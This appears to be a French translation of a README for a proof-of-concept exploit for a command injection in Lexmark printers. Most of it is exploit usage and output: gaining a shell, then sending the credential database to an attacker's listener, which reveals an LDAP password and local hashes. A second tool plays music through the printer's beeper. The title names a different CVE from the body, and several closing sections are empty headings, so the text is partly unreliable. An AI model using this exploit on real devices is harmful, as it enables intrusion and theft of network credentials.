CVE-2023-34362

Preuves de concept (POCs) pour le dump d'identifiants, les shells inversés et la lecture de musique en abusant d'une injection de commande, CVE-2023-26067, affectant les imprimantes Lexmark.

Analyse technique

Une analyse de la cause racine technique de la vulnérabilité est disponible sur notre blog : https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

Résumé

Ce POC abuse d'une injection de commande pour obtenir un shell en tant qu'utilisateur httpd

Dump des identifiants en clair des services Active Directory et des identifiants locaux

python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C

python3 BitConductor.py -s mario Converting: mario ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0

CVE-2023-26067

Populaires

Shell inversé

Jouer de la musique

Démo

Mesures d'atténuation

Suivez l'équipe d'attaque Horizon3.ai sur Twitter pour les dernières recherches en sécurité :

Avertissement